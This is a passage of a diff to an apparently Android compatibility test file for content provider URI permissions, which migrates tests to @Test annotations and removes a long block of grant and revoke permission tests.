assertWritingContentUriNotAllowed(PRIV_URI, "shouldn't write private provider");
}
@@ -302,858 +164,16 @@
* Test that the ctsambiguousprovider content provider cannot be written,
* since it doesn't have an exported= line.
*/
+ @Test
public void testWriteProviderWhenAmbiguous() {
assertWritingContentUriNotAllowed(AMBIGUOUS_URI, "shouldn't write ambiguous provider");
}
- private static ClipData makeSingleClipData(Uri uri) {
- return new ClipData("foo", new String[] { "foo/bar" },
- new ClipData.Item(uri));
- }
-
- private static ClipData makeMultiClipData(Uri uri) {
- Uri grantClip1Uri = Uri.withAppendedPath(uri, "clip1");
- Uri grantClip2Uri = Uri.withAppendedPath(uri, "clip2");
- Uri grantClip3Uri = Uri.withAppendedPath(uri, "clip3");
- Uri grantClip4Uri = Uri.withAppendedPath(uri, "clip4");
- Uri grantClip5Uri = Uri.withAppendedPath(uri, "clip5");
- ClipData clip = new ClipData("foo", new String[] { "foo/bar" },
- new ClipData.Item(grantClip1Uri));
- clip.addItem(new ClipData.Item(grantClip2Uri));
- // Intents in the ClipData should allow their data: and clip URIs
- // to be granted, but only respect the grant flags of the top-level
- // Intent.
- clip.addItem(new ClipData.Item(new Intent(Intent.ACTION_VIEW, grantClip3Uri)));
- Intent intent = new Intent(Intent.ACTION_VIEW, grantClip4Uri);
- intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
- | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- clip.addItem(new ClipData.Item(intent));
- intent = new Intent(Intent.ACTION_VIEW);
- intent.setClipData(new ClipData("foo", new String[] { "foo/bar" },
- new ClipData.Item(grantClip5Uri)));
- clip.addItem(new ClipData.Item(intent));
- return clip;
- }
-
- private static Intent makeClipIntent(ClipData clip, int flags) {
- Intent intent = new Intent();
- intent.setClipData(clip);
- intent.addFlags(flags);
- return intent;
- }
-
- private static Intent makeClipIntent(Uri uri, int flags) {
- return makeClipIntent(makeMultiClipData(uri), flags);
- }
-
- private void doTryGrantUriActivityPermissionToSelf(Uri uri, int mode) {
- Uri grantDataUri = Uri.withAppendedPath(uri, "data");
- Intent grantIntent = new Intent();
- grantIntent.setData(grantDataUri);
- grantIntent.addFlags(mode | Intent.FLAG_ACTIVITY_NEW_TASK);
- grantIntent.setClass(getContext(), ReceiveUriActivity.class);
- try {
- ReceiveUriActivity.clearStarted();
- getContext().startActivity(grantIntent);
- ReceiveUriActivity.waitForStart();
- fail("expected SecurityException granting " + grantDataUri + " to activity");
- } catch (SecurityException e) {
- // This is what we want.
- }
-
- grantIntent = makeClipIntent(uri, mode | Intent.FLAG_ACTIVITY_NEW_TASK);
- grantIntent.setClass(getContext(), ReceiveUriActivity.class);
- try {
- ReceiveUriActivity.clearStarted();
- getContext().startActivity(grantIntent);
- ReceiveUriActivity.waitForStart();
- fail("expected SecurityException granting " + grantIntent.getClipData() + " to activity");
- } catch (SecurityException e) {
- // This is what we want.
- }
- }
-
- /**
- * Test that we can't grant a permission to ourself.
- */
- public void testGrantReadUriActivityPermissionToSelf() {
- doTryGrantUriActivityPermissionToSelf(
- Uri.withAppendedPath(PERM_URI_GRANTING, "foo"),
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- }
-
- /**
- * Test that we can't grant a permission to ourself.
- */
- public void testGrantWriteUriActivityPermissionToSelf() {
- doTryGrantUriActivityPermissionToSelf(
- Uri.withAppendedPath(PERM_URI_GRANTING, "foo"),
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- }
-
- /**
- * Test that we can't grant a permission to ourself.
- */
- public void testGrantReadUriActivityPrivateToSelf() {
- doTryGrantUriActivityPermissionToSelf(
- Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- }
-
- /**
- * Test that we can't grant a permission to ourself.
- */
- public void testGrantWriteUriActivityPrivateToSelf() {
- doTryGrantUriActivityPermissionToSelf(
- Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- }
-
- private void doTryGrantUriServicePermissionToSelf(Uri uri, int mode) {
- Uri grantDataUri = Uri.withAppendedPath(uri, "data");
- Intent grantIntent = new Intent();
- grantIntent.setData(grantDataUri);
- grantIntent.addFlags(mode);
- grantIntent.setClass(getContext(), ReceiveUriService.class);
- try {
- getContext().startService(grantIntent);
- fail("expected SecurityException granting " + grantDataUri + " to service");
- } catch (SecurityException e) {
- // This is what we want.
- }
-
- grantIntent = makeClipIntent(uri, mode);
- grantIntent.setClass(getContext(), ReceiveUriService.class);
- try {
- getContext().startService(grantIntent);
- fail("expected SecurityException granting " + grantIntent.getClipData() + " to service");
- } catch (SecurityException e) {
- // This is what we want.
- }
- }
-
- /**
- * Test that we can't grant a permission to ourself.
- */
- public void testGrantReadUriServicePermissionToSelf() {
- doTryGrantUriServicePermissionToSelf(
- Uri.withAppendedPath(PERM_URI_GRANTING, "foo"),
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- }
-
- /**
- * Test that we can't grant a permission to ourself.
- */
- public void testGrantWriteUriServicePermissionToSelf() {
- doTryGrantUriServicePermissionToSelf(
- Uri.withAppendedPath(PERM_URI_GRANTING, "foo"),
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- }
-
- /**
- * Test that we can't grant a permission to ourself.
- */
- public void testGrantReadUriServicePrivateToSelf() {
- doTryGrantUriServicePermissionToSelf(
- Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- }
-
- /**
- * Test that we can't grant a permission to ourself.
- */
- public void testGrantWriteUriServicePrivateToSelf() {
- doTryGrantUriServicePermissionToSelf(
- Uri.withAppendedPath(PRIV_URI_GRANTING, "foo"),
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- }
-
- private void grantUriPermissionFail(Uri uri, int mode, boolean service) {
- Uri grantDataUri = Uri.withAppendedPath(uri, "data");
- Intent grantIntent = new Intent();
- grantIntent.setData(grantDataUri);
- grantIntent.addFlags(mode);
- grantIntent.setClass(getContext(),
- service ? ReceiveUriService.class : ReceiveUriActivity.class);
- Intent intent = new Intent();
- intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
- intent.putExtra(EXTRA_INTENT, grantIntent);
- try {
- call(intent);
- fail("Able to grant URI permission to " + grantDataUri + " when should not");
- } catch (Exception expected) {
- }
-
- grantIntent = makeClipIntent(uri, mode);
- grantIntent.setClass(getContext(),
- service ? ReceiveUriService.class : ReceiveUriActivity.class);
- intent = new Intent();
- intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
- intent.putExtra(EXTRA_INTENT, grantIntent);
- try {
- call(intent);
- fail("Able to grant URI permission to " + grantIntent.getClipData()
- + " when should not");
- } catch (Exception expected) {
- }
- }
-
- private void doTestGrantUriPermissionFail(Uri uri) {
- for (boolean service : new boolean[] { false, true }) {
- for (int flags : new int[] {
- Intent.FLAG_GRANT_READ_URI_PERMISSION, Intent.FLAG_GRANT_WRITE_URI_PERMISSION
- }) {
- grantUriPermissionFail(uri,
- flags, service);
- grantUriPermissionFail(uri,
- flags | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION, service);
- grantUriPermissionFail(uri,
- flags | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION, service);
- }
- }
- }
-
- /**
- * Test that the ctspermissionwithsignature content provider can not grant
- * URI permissions to others.
- */
- public void testGrantPermissionNonGrantingFail() {
- doTestGrantUriPermissionFail(PERM_URI);
- }
-
- /**
- * Test that the ctspermissionwithsignaturegranting content provider can not grant
- * URI permissions to paths outside of the grant tree
- */
- public void testGrantPermissionOutsideGrantingFail() {
- doTestGrantUriPermissionFail(PERM_URI_GRANTING);
- doTestGrantUriPermissionFail(Uri.withAppendedPath(PERM_URI_GRANTING, "invalid"));
- }
-
- /**
- * Test that the ctsprivateprovider content provider can not grant
- * URI permissions to others.
- */
- public void testGrantPrivateNonGrantingFail() {
- doTestGrantUriPermissionFail(PRIV_URI);
- }
-
- /**
- * Test that the ctsambiguousprovider content provider can not grant
- * URI permissions to others.
- */
- public void testGrantAmbiguousNonGrantingFail() {
- doTestGrantUriPermissionFail(AMBIGUOUS_URI);
- }
-
- /**
- * Test that the ctsprivateprovidergranting content provider can not grant
- * URI permissions to paths outside of the grant tree
- */
- public void testGrantPrivateOutsideGrantingFail() {
- doTestGrantUriPermissionFail(PRIV_URI_GRANTING);
- doTestGrantUriPermissionFail(Uri.withAppendedPath(PRIV_URI_GRANTING, "invalid"));
- }
-
- private void call(Intent intent) {
- final Bundle extras = new Bundle();
- extras.putParcelable(Intent.EXTRA_INTENT, intent);
- getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
- }
-
- private void grantClipUriPermission(ClipData clip, int mode, boolean service) {
- Intent grantIntent = new Intent();
- if (clip.getItemCount() == 1) {
- grantIntent.setData(clip.getItemAt(0).getUri());
- } else {
- grantIntent.setClipData(clip);
- // Make this Intent unique from the one that started it.
- for (int i=0; i<clip.getItemCount(); i++) {
- Uri uri = clip.getItemAt(i).getUri();
- if (uri != null) {
- grantIntent.addCategory(uri.toString());
- }
- }
- }
- grantIntent.addFlags(mode);
- grantIntent.setClass(getContext(),
- service ? ReceiveUriService.class : ReceiveUriActivity.class);
- Intent intent = new Intent();
- intent.setAction(service ? ACTION_START_SERVICE : ACTION_START_ACTIVITY);
- intent.putExtra(EXTRA_INTENT, grantIntent);
- call(intent);
- }
-
- private void grantClipUriPermissionViaContext(Uri uri, int mode) {
- Intent intent = new Intent();
- intent.setAction(ACTION_GRANT_URI);
- intent.putExtra(EXTRA_PACKAGE_NAME, getContext().getPackageName());
- intent.putExtra(EXTRA_URI, uri);
- intent.putExtra(EXTRA_MODE, mode);
- call(intent);
- }
-
- private void revokeClipUriPermissionViaContext(Uri uri, int mode) {
- Intent intent = new Intent();
- intent.setAction(ACTION_REVOKE_URI);
- intent.putExtra(EXTRA_URI, uri);
- intent.putExtra(EXTRA_MODE, mode);
- call(intent);
- }
-
- private void setPrimaryClip(ClipData clip) {
- Intent intent = new Intent();
- intent.setAction(ACTION_SET_PRIMARY_CLIP);
- intent.setClipData(clip);
- call(intent);
- }
-
- private void clearPrimaryClip() {
- Intent intent = new Intent();
- intent.setAction(ACTION_CLEAR_PRIMARY_CLIP);
- call(intent);
- }
-
- private void assertReadingClipAllowed(ClipData clip) {
- for (int i=0; i<clip.getItemCount(); i++) {
- ClipData.Item item = clip.getItemAt(i);
- Uri uri = item.getUri();
- if (uri != null) {
- Cursor c = getContext().getContentResolver().query(uri,
- null, null, null, null);
- if (c != null) {
- c.close();
- }
- } else {
- Intent intent = item.getIntent();
- uri = intent.getData();
- if (uri != null) {
- Cursor c = getContext().getContentResolver().query(uri,
- null, null, null, null);
- if (c != null) {
- c.close();
- }
- }
- ClipData intentClip = intent.getClipData();
- if (intentClip != null) {
- assertReadingClipAllowed(intentClip);
- }
- }
- }
- }
-
- private void doTestGrantActivityUriReadPermission(Uri uri, boolean useClip) {
- final Uri subUri = Uri.withAppendedPath(uri, "foo");
- final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
- final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
- final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
-
- final ClipData subClip = useClip ? makeMultiClipData(subUri) : makeSingleClipData(subUri);
- final ClipData sub2Clip = useClip ? makeMultiClipData(sub2Uri) : makeSingleClipData(sub2Uri);
-
- // Precondition: no current access.
- assertReadingClipNotAllowed(subClip, "shouldn't read when starting test");
- assertReadingClipNotAllowed(sub2Clip, "shouldn't read when starting test");
-
- // --------------------------------
-
- ReceiveUriActivity.clearStarted();
- grantClipUriPermission(subClip, Intent.FLAG_GRANT_READ_URI_PERMISSION, false);
- ReceiveUriActivity.waitForStart();
-
- // See if we now have access to the provider.
- assertReadingClipAllowed(subClip);
-
- // But not writing.
- assertWritingClipNotAllowed(subClip, "shouldn't write from granted read");
-
- // And not to the base path.
- assertReadingContentUriNotAllowed(uri, "shouldn't read non-granted base URI");
-
- // And not to a sub path.
- assertReadingContentUriNotAllowed(subSubUri, "shouldn't read non-granted sub URI");
-
- // --------------------------------
-
- ReceiveUriActivity.clearNewIntent();
- grantClipUriPermission(sub2Clip, Intent.FLAG_GRANT_READ_URI_PERMISSION, false);
- ReceiveUriActivity.waitForNewIntent();
-
- if (false) {
- synchronized (this) {
- Log.i("**", "******************************* WAITING!!!");
- try {
- wait(10000);
- } catch (InterruptedException e) {
- }
- }
- }
-
- // See if we now have access to the provider.
- assertReadingClipAllowed(sub2Clip);
-
- // And still have access to the original URI.
- assertReadingClipAllowed(subClip);
-
- // But not writing.
- assertWritingClipNotAllowed(sub2Clip, "shouldn't write from granted read");
-
- // And not to the base path.
- assertReadingContentUriNotAllowed(uri, "shouldn't read non-granted base URI");
-
- // And not to a sub path.
- assertReadingContentUriNotAllowed(sub2SubUri, "shouldn't read non-granted sub URI");
-
- // And make sure we can't generate a permission to a running activity.
- doTryGrantUriActivityPermissionToSelf(
- Uri.withAppendedPath(uri, "hah"),
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- doTryGrantUriActivityPermissionToSelf(
- Uri.withAppendedPath(uri, "hah"),
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
- // --------------------------------
-
- // Dispose of activity.
- ReceiveUriActivity.finishCurInstanceSync();
-
- synchronized (this) {
- Log.i("**", "******************************* WAITING!!!");
- try {
- wait(100);
- } catch (InterruptedException e) {
- }
- }
-
- // Ensure reading no longer allowed.
- assertReadingClipNotAllowed(subClip, "shouldn't read after losing granted URI");
- assertReadingClipNotAllowed(sub2Clip, "shouldn't read after losing granted URI");
- }
-
- private void assertWritingClipAllowed(ClipData clip) {
- for (int i=0; i<clip.getItemCount(); i++) {
- ClipData.Item item = clip.getItemAt(i);
- Uri uri = item.getUri();
- if (uri != null) {
- getContext().getContentResolver().insert(uri, new ContentValues());
- } else {
- Intent intent = item.getIntent();
- uri = intent.getData();
- if (uri != null) {
- getContext().getContentResolver().insert(uri, new ContentValues());
- }
- ClipData intentClip = intent.getClipData();
- if (intentClip != null) {
- assertWritingClipAllowed(intentClip);
- }
- }
- }
- }
-
- private void doTestGrantActivityUriWritePermission(Uri uri, boolean useClip) {
- final Uri subUri = Uri.withAppendedPath(uri, "foo");
- final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
- final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
- final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
-
- final ClipData subClip = useClip ? makeMultiClipData(subUri) : makeSingleClipData(subUri);
- final ClipData sub2Clip = useClip ? makeMultiClipData(sub2Uri) : makeSingleClipData(sub2Uri);
-
- // Precondition: no current access.
- assertWritingClipNotAllowed(subClip, "shouldn't write when starting test");
- assertWritingClipNotAllowed(sub2Clip, "shouldn't write when starting test");
-
- // --------------------------------
-
- ReceiveUriActivity.clearStarted();
- grantClipUriPermission(subClip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
- ReceiveUriActivity.waitForStart();
-
- // See if we now have access to the provider.
- assertWritingClipAllowed(subClip);
-
- // But not reading.
- assertReadingClipNotAllowed(subClip, "shouldn't read from granted write");
-
- // And not to the base path.
- assertWritingContentUriNotAllowed(uri, "shouldn't write non-granted base URI");
-
- // And not a sub-path.
- assertWritingContentUriNotAllowed(subSubUri, "shouldn't write non-granted sub URI");
-
- // --------------------------------
-
- ReceiveUriActivity.clearNewIntent();
- grantClipUriPermission(sub2Clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, false);
- ReceiveUriActivity.waitForNewIntent();
-
- if (false) {
- synchronized (this) {
- Log.i("**", "******************************* WAITING!!!");
- try {
- wait(10000);
- } catch (InterruptedException e) {
- }
- }
- }
-
- // See if we now have access to the provider.
- assertWritingClipAllowed(sub2Clip);
-
- // And still have access to the original URI.
- assertWritingClipAllowed(subClip);
-
- // But not reading.
- assertReadingClipNotAllowed(sub2Clip, "shouldn't read from granted write");
-
- // And not to the base path.
- assertWritingContentUriNotAllowed(uri, "shouldn't write non-granted base URI");
-
- // And not a sub-path.
- assertWritingContentUriNotAllowed(sub2SubUri, "shouldn't write non-granted sub URI");
-
- // And make sure we can't generate a permission to a running activity.
- doTryGrantUriActivityPermissionToSelf(
- Uri.withAppendedPath(uri, "hah"),
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- doTryGrantUriActivityPermissionToSelf(
- Uri.withAppendedPath(uri, "hah"),
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
- // --------------------------------
-
- // Dispose of activity.
- ReceiveUriActivity.finishCurInstanceSync();
-
- synchronized (this) {
- Log.i("**", "******************************* WAITING!!!");
- try {
- wait(100);
- } catch (InterruptedException e) {
- }
- }
-
- // Ensure writing no longer allowed.
- assertWritingClipNotAllowed(subClip, "shouldn't write after losing granted URI");
- assertWritingClipNotAllowed(sub2Clip, "shouldn't write after losing granted URI");
- }
-
- /**
- * Test that the ctspermissionwithsignaturegranting content provider can grant a read
- * permission.
- */
- public void testGrantReadPermissionFromStartActivity() {
- doTestGrantActivityUriReadPermission(PERM_URI_GRANTING, false);
- doTestGrantActivityUriReadPermission(PERM_URI_GRANTING, true);
- }
-
- /**
- * Test that the ctspermissionwithsignaturegranting content provider can grant a write
- * permission.
- */
- public void testGrantWritePermissionFromStartActivity() {
- doTestGrantActivityUriWritePermission(PERM_URI_GRANTING, true);
- doTestGrantActivityUriWritePermission(PERM_URI_GRANTING, false);
- }
-
- /**
- * Test that the ctsprivateprovidergranting content provider can grant a read
- * permission.
- */
- public void testGrantReadPrivateFromStartActivity() {
- doTestGrantActivityUriReadPermission(PRIV_URI_GRANTING, false);
- doTestGrantActivityUriReadPermission(PRIV_URI_GRANTING, true);
- }
-
- /**
- * Test that the ctsprivateprovidergranting content provider can grant a write
- * permission.
- */
- public void testGrantWritePrivateFromStartActivity() {
- doTestGrantActivityUriWritePermission(PRIV_URI_GRANTING, true);
- doTestGrantActivityUriWritePermission(PRIV_URI_GRANTING, false);
- }
-
- private void doTestGrantServiceUriReadPermission(Uri uri, boolean useClip) {
- final Uri subUri = Uri.withAppendedPath(uri, "foo");
- final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
- final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
- final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
-
- ReceiveUriService.stop(getContext());
-
- final ClipData subClip = useClip ? makeMultiClipData(subUri) : makeSingleClipData(subUri);
- final ClipData sub2Clip = useClip ? makeMultiClipData(sub2Uri) : makeSingleClipData(sub2Uri);
-
- // Precondition: no current access.
- assertReadingClipNotAllowed(subClip, "shouldn't read when starting test");
- assertReadingClipNotAllowed(sub2Clip, "shouldn't read when starting test");
-
- // --------------------------------
-
- ReceiveUriService.clearStarted();
- grantClipUriPermission(subClip, Intent.FLAG_GRANT_READ_URI_PERMISSION, true);
- ReceiveUriService.waitForStart();
-
- int firstStartId = ReceiveUriService.getCurStartId();
-
- // See if we now have access to the provider.
- assertReadingClipAllowed(subClip);
-
- // But not writing.
- assertWritingClipNotAllowed(subClip, "shouldn't write from granted read");
-
- // And not to the base path.
- assertReadingContentUriNotAllowed(uri, "shouldn't read non-granted base URI");
-
- // And not to a sub path.
- assertReadingContentUriNotAllowed(subSubUri, "shouldn't read non-granted sub URI");
-
- // --------------------------------
-
- // Send another Intent to it.
- ReceiveUriService.clearStarted();
- grantClipUriPermission(sub2Clip, Intent.FLAG_GRANT_READ_URI_PERMISSION, true);
- ReceiveUriService.waitForStart();
-
- if (false) {
- synchronized (this) {
- Log.i("**", "******************************* WAITING!!!");
- try {
- wait(10000);
- } catch (InterruptedException e) {
- }
- }
- }
-
- // See if we now have access to the provider.
- assertReadingClipAllowed(sub2Clip);
-
- // And still to the previous URI.
- assertReadingClipAllowed(subClip);
-
- // But not writing.
- assertWritingClipNotAllowed(sub2Clip, "shouldn't write from granted read");
-
- // And not to the base path.
- assertReadingContentUriNotAllowed(uri, "shouldn't read non-granted base URI");
-
- // And not to a sub path.
- assertReadingContentUriNotAllowed(sub2SubUri, "shouldn't read non-granted sub URI");
-
- // --------------------------------
-
- // Stop the first command.
- ReceiveUriService.stopCurWithId(firstStartId);
-
- // Ensure reading no longer allowed.
- assertReadingClipNotAllowed(subClip, "shouldn't read after losing granted URI");
-
- // And make sure we can't generate a permission to a running service.
- doTryGrantUriActivityPermissionToSelf(subUri,
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- doTryGrantUriActivityPermissionToSelf(subUri,
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
- // --------------------------------
-
- // Dispose of service.
- ReceiveUriService.stopSync(getContext());
-
- // Ensure reading no longer allowed.
- assertReadingClipNotAllowed(subClip, "shouldn't read after losing granted URI");
- assertReadingClipNotAllowed(sub2Clip, "shouldn't read after losing granted URI");
- }
-
- private void doTestGrantServiceUriWritePermission(Uri uri, boolean useClip) {
- final Uri subUri = Uri.withAppendedPath(uri, "foo");
- final Uri subSubUri = Uri.withAppendedPath(subUri, "bar");
- final Uri sub2Uri = Uri.withAppendedPath(uri, "yes");
- final Uri sub2SubUri = Uri.withAppendedPath(sub2Uri, "no");
-
- ReceiveUriService.stop(getContext());
-
- final ClipData subClip = useClip ? makeMultiClipData(subUri) : makeSingleClipData(subUri);
- final ClipData sub2Clip = useClip ? makeMultiClipData(sub2Uri) : makeSingleClipData(sub2Uri);
-
- // Precondition: no current access.
- assertReadingClipNotAllowed(subClip, "shouldn't read when starting test");
- assertReadingClipNotAllowed(sub2Clip, "shouldn't read when starting test");
-
- // --------------------------------
-
- ReceiveUriService.clearStarted();
- grantClipUriPermission(subClip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, true);
- ReceiveUriService.waitForStart();
-
- int firstStartId = ReceiveUriService.getCurStartId();
-
- // See if we now have access to the provider.
- assertWritingClipAllowed(subClip);
-
- // But not reading.
- assertReadingClipNotAllowed(subClip, "shouldn't read from granted write");
-
- // And not to the base path.
- assertWritingContentUriNotAllowed(uri, "shouldn't write non-granted base URI");
-
- // And not a sub-path.
- assertWritingContentUriNotAllowed(subSubUri, "shouldn't write non-granted sub URI");
-
- // --------------------------------
-
- // Send another Intent to it.
- ReceiveUriService.clearStarted();
- grantClipUriPermission(sub2Clip, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, true);
- ReceiveUriService.waitForStart();
-
- // See if we now have access to the provider.
- assertWritingClipAllowed(sub2Clip);
-
- // And still to the previous URI.
- assertWritingClipAllowed(subClip);
-
- // But not reading.
- assertReadingClipNotAllowed(sub2Clip, "shouldn't read from granted write");
-
- // And not to the base path.
- assertWritingContentUriNotAllowed(uri, "shouldn't write non-granted base URI");
-
- // And not a sub-path.
- assertWritingContentUriNotAllowed(sub2SubUri, "shouldn't write non-granted sub URI");
-
- if (false) {
- synchronized (this) {
- Log.i("**", "******************************* WAITING!!!");
- try {
- wait(10000);
- } catch (InterruptedException e) {
- }
- }
- }
-
- // --------------------------------
-
- // Stop the first command.
- ReceiveUriService.stopCurWithId(firstStartId);
-
- // Ensure writing no longer allowed.
- assertWritingClipNotAllowed(subClip, "shouldn't write after losing granted URI");
-
- // And make sure we can't generate a permission to a running service.
- doTryGrantUriActivityPermissionToSelf(subUri,
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- doTryGrantUriActivityPermissionToSelf(subUri,
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
-
- // --------------------------------
-
- // Dispose of service.
- ReceiveUriService.stopSync(getContext());
-
- // Ensure writing no longer allowed.
- assertWritingClipNotAllowed(subClip, "shouldn't write after losing granted URI");
- assertWritingClipNotAllowed(sub2Clip, "shouldn't write after losing granted URI");
- }
-
- public void testGrantReadPermissionFromStartService() {
- doTestGrantServiceUriReadPermission(PERM_URI_GRANTING, false);
- doTestGrantServiceUriReadPermission(PERM_URI_GRANTING, true);
- }
-
- public void testGrantWritePermissionFromStartService() {
- doTestGrantServiceUriWritePermission(PERM_URI_GRANTING, false);
- doTestGrantServiceUriWritePermission(PERM_URI_GRANTING, true);
- }
-
- public void testGrantReadPrivateFromStartService() {
- doTestGrantServiceUriReadPermission(PRIV_URI_GRANTING, false);
- doTestGrantServiceUriReadPermission(PRIV_URI_GRANTING, true);
- }
-
- public void testGrantWritePrivateFromStartService() {
- doTestGrantServiceUriWritePermission(PRIV_URI_GRANTING, false);
- doTestGrantServiceUriWritePermission(PRIV_URI_GRANTING, true);
- }
-
- /**
- * Test that ctspermissionwithsignaturepath can't grant read permissions
- * on paths it doesn't have permission to.
- */
- public void testGrantReadUriActivityPathPermissionToSelf() {
- doTryGrantUriActivityPermissionToSelf(PERM_URI_PATH,
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- }
-
- /**
- * Test that ctspermissionwithsignaturepath can't grant write permissions
- * on paths it doesn't have permission to.
- */
- public void testGrantWriteUriActivityPathPermissionToSelf() {
- doTryGrantUriActivityPermissionToSelf(PERM_URI_PATH,
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- }
-
- /**
- * Test that ctspermissionwithsignaturepath can't grant read permissions
- * on paths it doesn't have permission to.
- */
- public void testGrantReadUriActivitySubPathPermissionToSelf() {
- doTryGrantUriActivityPermissionToSelf(
- Uri.withAppendedPath(PERM_URI_PATH, "foo"),
- Intent.FLAG_GRANT_READ_URI_PERMISSION);
- }
-
- /**
- * Test that ctspermissionwithsignaturepath can't grant write permissions
- * on paths it doesn't have permission to.
- */
- public void testGrantWriteUriActivitySubPathPermissionToSelf() {
- doTryGrantUriActivityPermissionToSelf(
- Uri.withAppendedPath(PERM_URI_PATH, "foo"),
- Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
- }
-
- /**
- * Test that the ctspermissionwithsignaturepath content provider can grant a read
- * permission.
- */
- public void testGrantReadPathPermissionFromStartActivity() {
- doTestGrantActivityUriReadPermission(PERM_URI_PATH, false);
- doTestGrantActivityUriReadPermission(PERM_URI_PATH, true);
- }
-
- /**
- * Test that the ctspermissionwithsignaturepath content provider can grant a write
- * permission.
- */
- public void testGrantWritePathPermissionFromStartActivity() {
- doTestGrantActivityUriWritePermission(PERM_URI_PATH, false);
- doTestGrantActivityUriWritePermission(PERM_URI_PATH, true);
- }
-
- /**
- * Test that the ctspermissionwithsignaturepath content provider can grant a read
- * permission.
- */
- public void testGrantReadPathPermissionFromStartService() {
- doTestGrantServiceUriReadPermission(PERM_URI_PATH, false);
- doTestGrantServiceUriReadPermission(PERM_URI_PATH, true);
- }
-
- /**
- * Test that the ctspermissionwithsignaturepath content provider can grant a write
- * permission.
- */
- public void testGrantWritePathPermissionFromStartService() {
- doTestGrantServiceUriWritePermission(PERM_URI_PATH, false);
- doTestGrantServiceUriWritePermission(PERM_URI_PATH, true);
- }
-
/**
* Verify that we can access paths outside the {@code path-permission}
* protections, which should only rely on {@code provider} permissions.
*/
+ @Test
public void testRestrictingProviderNoMatchingPath() {
assertReadingContentUriAllowed(PERM_URI_PATH_RESTRICTING);
assertWritingContentUriAllowed(PERM_URI_PATH_RESTRICTING);
@@ -1168,6 +188,7 @@
* Verify that paths under {@code path-permission} restriction aren't
* allowed, even though the {@code provider} requires no permissions.
*/
+ @Test
public void testRestrictingProviderMatchingPathDenied() {
// rejected by "foo" prefix
final Uri test1 = PERM_URI_PATH_RESTRICTING.buildUpon().appendPath("foo").build();
@@ -1184,6 +205,7 @@
/**
* Test that shady {@link Uri} are blocked by {@code path-permission}.
*/
+ @Test
public void testRestrictingProviderMatchingShadyPaths() {
assertContentUriAllowed(
Uri.parse("content://ctspermissionwithsignaturepathrestricting/"));
@@ -1205,6 +227,7 @@
* Verify that at least one {@code path-permission} rule will grant access,
* even if the caller doesn't hold another matching {@code path-permission}.
*/
+ @Test
public void testRestrictingProviderMultipleMatchingPath() {
// allowed by narrow "foo/bar" prefix
final Uri test1 = PERM_URI_PATH_RESTRICTING.buildUpon()
@@ -1219,6 +242,7 @@
assertWritingContentUriAllowed(test2);
}
+ @Test
public void testGetMimeTypePermission() {
// Precondition: no current access.
assertReadingContentUriNotAllowed(PERM_URI, "shouldn't read when starting test");
@@ -1228,6 +252,7 @@
assertEquals(getContext().getContentResolver().getType(PERM_URI), EXPECTED_MIME_TYPE);
}
+ @Test
public void testGetMimeTypePrivate() {
// Precondition: no current access.
assertReadingContentUriNotAllowed(PRIV_URI, "shouldn't read when starting test");
@@ -1237,6 +262,7 @@
assertEquals(getContext().getContentResolver().getType(PRIV_URI), EXPECTED_MIME_TYPE);
}
+ @Test
public void testGetMimeTypeAmbiguous() {
// Precondition: no current access.
assertReadingContentUriNotAllowed(AMBIGUOUS_URI, "shouldn't read when starting test");
@@ -1253,425 +279,10 @@
* application, even if that application didn't explicitly declare either
* exported=true or exported=false
*/
+ @Test
public void testGetMimeTypeAmbiguousCompat() {
// All apps should be able to get MIME type even if provider is private.
assertEquals(EXPECTED_MIME_TYPE_AMBIGUOUS,
getContext().getContentResolver().getType(AMBIGUOUS_URI_COMPAT));
}
-
- /**
- * Validate behavior of persistable permission grants.
- */
- public void testGrantPersistableUriPermission() {
- final ContentResolver resolver = getContext().getContentResolver();
-
- final Uri target = Uri.withAppendedPath(PERM_URI_GRANTING, "foo");
- final ClipData clip = makeSingleClipData(target);
-
- // Make sure we can't see the target
- assertReadingClipNotAllowed(clip, "reading should have failed");
- assertWritingClipNotAllowed(clip, "writing should have failed");
-
- // Make sure we can't take a grant we don't have
- try {
- resolver.takePersistableUriPermission(target, Intent.FLAG_GRANT_READ_URI_PERMISSION);
- fail("taking read should have failed");
- } catch (SecurityException expected) {
- }
-
- // And since we were just installed, no persisted grants yet
